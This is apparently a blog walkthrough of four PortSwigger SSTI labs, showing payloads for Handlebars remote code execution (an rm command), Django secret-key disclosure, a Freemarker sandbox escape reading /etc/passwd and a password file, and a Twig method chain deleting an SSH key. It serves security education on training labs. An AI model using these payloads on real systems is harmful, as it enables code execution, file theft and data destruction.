Server Side Template Injections Portswiggers Labs Walkthrough Part III

Hashar Mujahid
InfoSec Write-ups
Published in
10 min readAug 27, 2022

--

Hi, My name is Hashar Mujahid, Today we are going to solve some more SSTI labs from Portswiggers. If you want to learn what Server Side Template Injection is you can read my previous blogs

SSTI

Let's get started with lab no 4:

Server-side template injection in an unknown language with a documented exploit:

Objective:

This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and find a documented exploit online that you can use to execute arbitrary code, then delete the morale.txt file from Carlos's home directory.

Now we know what we need to do. So let's start with finding the potential endpoint.

There is the view details button which redirects us back to the homepage with a parameter named message.

endpoint

We can see the data in the URL is reflected back on the page. we can also try Cross-Site Scripting which BTW works flawlessly

XSS

Enough playing let's get back to our real task. With the potential endpoint, we can test it for template injections.

Let's send the request to the intruder and launch a sniper attack with our payload list.

{{7*7}}  
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}

From the Results we can see when we hit an invalid syntax it internal server error occurs and gave us some information.

Results
Error

The error message confirms that we are using the handlebars template engine.

Now let's google for RCE in Handlebars Template Engine.

There is a great blog that tells us how to exploit this template engine.

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

Basically, we can use this payload to execute code. We need to first URL encode this payload and then send in the URL.

voilà! We solved it.

Off to the next one.

Server-side template injection with information disclosure via user-supplied objects

Objectives:

This lab is vulnerable to server-side template injection due to the way an object is being passed into the template. This vulnerability can be exploited to access sensitive data.

To solve the lab, steal and submit the framework’s secret key.

You can log in to your own account using the following credentials:

content-manager:C0nt3ntM4n4g3r

We can see with our credentials we should have some ability to edit the content on the website.

We have an Edit Template Button on the detail page of the product.

Editor.

We can see in the last line that some content is dynamic on the page like product stock, name, and price. That means some kind of template engine is being used.

Let's identify what template engine is being used.

payload

We hit an internal server error.

Django Template

This tells us that the Django template engine is being used. Let's try to find some ways to execute code on the system.

This pdf might help you to exploit this vulnerability.

I was able to trigger XSS with the help of this payload

When we click save our XSS payload triggers.

We can get the debug information but it’s a hassle.

Debug

After a lot of trial and error, I found the payload to get the secret key

{{settings.SECRET_KEY}}
Secret Key

Now Just Submit the solution

Solved

Now Off to the Expert Level Labs

Server-side template injection in a sandboxed environment

Objective:

This lab uses the Freemarker template engine. It is vulnerable to server-side template injection due to its poorly implemented sandbox. To solve the lab, break out of the sandbox to read the file my_password.txt from Carlos's home directory. Then submit the contents of the file.

You can log in to your own account using the following credentials:

content-manager:C0nt3ntM4n4g3r

So we already know the lab is using Freemarker Template we only need to break out from the sandbox environment and read the contents of my_password.txt and submit it.

Now just log into your account and go to the view details button you can see there is an Edit Template button just click it and we get an editor.

Editor

We can see some dynamic content is being pulled on the page. Let's search the ways to exploit and break out from the sandbox.

We can see when we try any payload to exploit or execute code we can see.

Debug error msg that execute is not allowed. So we need to find another way or maybe bypass this sandbox entirely.

This article talks about Template resolver in order to limit which TemplateModels can be instantiated in the templates

We can see we are facing the same kind of defense.

As they explain that we can not execute code if this kind of defense is placed and I press “I BELIEVE” button on that.

Here when everything was lost “PAYLOAD ALL THE THINGS” came to the rescue.

Found a payload to read files inside the sandbox.

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")}
Convert the returned bytes to ASCII

Let's try that and read /etc/passwd.

Now convert the bytes to ASCII characters.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
peter:x:12001:12001::/home/peter:/bin/bash
carlos:x:12002:12002::/home/carlos:/bin/bash
user:x:12000:12000::/home/user:/bin/bash
elmer:x:12099:12099::/home/elmer:/bin/bash
academy:x:10000:10000::/academy:/bin/bash
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin

Lets read the my_password.txt

payload

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Let's convert it.


h60nfm92xjzoxywtpy0m

In DJ Khaled’s voice

Server-side template injection with a custom exploit:

This lab is vulnerable to server-side template injection. To solve the lab, create a custom exploit to delete the file /.ssh/id_rsa from Carlos's home directory.

You can log in to your own account using the following credentials: wiener:peter

UFF! So our challenge for this task is to write a custom exploit to delete /.shh/id_rsa files from Carlos's directory.

Let's start with the first step to identify the endpoint which may be vulnerable to SSTI injection.

After analyzing the web for a minute one thing that stood out to me was the upload functionality other than that everything is pretty the same. Let’s post a comment and change the preferred name functionality to include our payload.

Preferred name
blog-post-author-display=user.nickname}}{{7*7

We included our payload and we can now send the request. Now refresh the page where you posted the comment.

Payload Executed

Now off to step 2: Identify the template engine.

We can now monitor the behavior of our template engine to identify it.

Haktricks

we can see our website behaves exactly the same towards these payloads So we can say that our target is using twig.

Twig

Okay we know that we have upload avatar functionality it should serve some purpose so let's also examine it.

To examine it we can try to upload an invalid image.

We can see we hit an error message

Error
PHP Fatal error:  Uncaught Exception: Uploaded file mime type is not an image: application/vnd.openxmlformats-officedocument.presentationml.presentation in /home/carlos/User.php:28
Stack trace:
#0 /home/carlos/avatar_upload.php(19): User->setAvatar('/tmp/DRUG LICEN...', 'application/vnd...')
#1 {main}
thrown in /home/carlos/User.php on line 28

We can see in an error message that we have another method associated with a user named setAvatar(). We can also see it loads a file in the first argument and takes its mime type in the second argument maybe we can load the /etc/passwd file In the first argument.

Let's try that on our name-changing request.

blog-post-author-display=user.setAvatar('/etc/passwd')

on the back end it may be executed as

blog-post-author-display={{user.setAvatar(‘/etc/passwd’)}}

just send the request and reload the page.

ERROR

We can see it caused an error.

PHP Fatal error: Uncaught ArgumentCountError: Too few arguments to function User::setAvatar(), 1 passed in /usr/local/envs/php-twig-

Our function setAvatar(file,mime-type) 2 arguments we have passed only one.

let's pass the other mime type.

blog-post-author-display=user.setAvatar('/etc/passwd','image/jpg')

now send the request.

Normal Loading

We can see our page loaded as normal and we have a image type lets open it in a new tab.

A file is downloaded

Open it with a notepad.

We have the /etc/passwd.

Now we just need to find a way to delete the images of avatars.

We saw in the error message there is a user.php.

let's open it .

public $user_dir;public function __construct($username, $name, $first_name, $nickname) {
$this->username = $username;
$this->name = $name;
$this->first_name = $first_name;
$this->nickname = $nickname;
$this->user_dir = "users/" . $this->username;
$this->avatarLink = $this->user_dir . "/avatar";
if (!file_exists($this->user_dir)) {
if (!mkdir($this->user_dir, 0755, true))
{
throw new Exception("Could not mkdir users/" . $this->username);
}
}
}
public function setAvatar($filename, $mimetype) {
if (strpos($mimetype, "image/") !== 0) {
throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
}
if (is_link($this->avatarLink)) {
$this->rm($this->avatarLink);
}
if (!symlink($filename, $this->avatarLink)) {
throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
}
}
public function delete() {
$file = $this->user_dir . "/disabled";
if (file_put_contents($file, "") === false) {
throw new Exception("Could not write to " . $file);
}
}
public function gdprDelete() {
$this->rm(readlink($this->avatarLink));
$this->rm($this->avatarLink);
$this->delete();
}
private function rm($filename) {
if (!unlink($filename)) {
throw new Exception("Could not delete " . $filename);
}
}
}
?>

We can see the gdpr function deletes the avatar. Let's now try to delete the id_rsa.

First set the avatar to

/home/carlos/.ssh/id_rsa

Now send the request and invoke the gdprDelete() method and reload the page.

Now reload the page. Our lab should be solved.

I highly encourage you to read through the articles that I provided. It will really widen your understanding.

Follow me for more walkthroughs like this.

Till the next time. Happy Hacking!

From Infosec Writeups: A lot is coming up in the Infosec every day that it’s hard to keep up with. Join our weekly newsletter to get all the latest Infosec trends in the form of 5 articles, 4 Threads, 3 videos, 2 Github Repos and tools, and 1 job alert for FREE!

--

--

IBM CSA | Google IT Support | Jr Penetration Tester | Ethical Hacker | THM TOP 1% | Hacker rank On HTB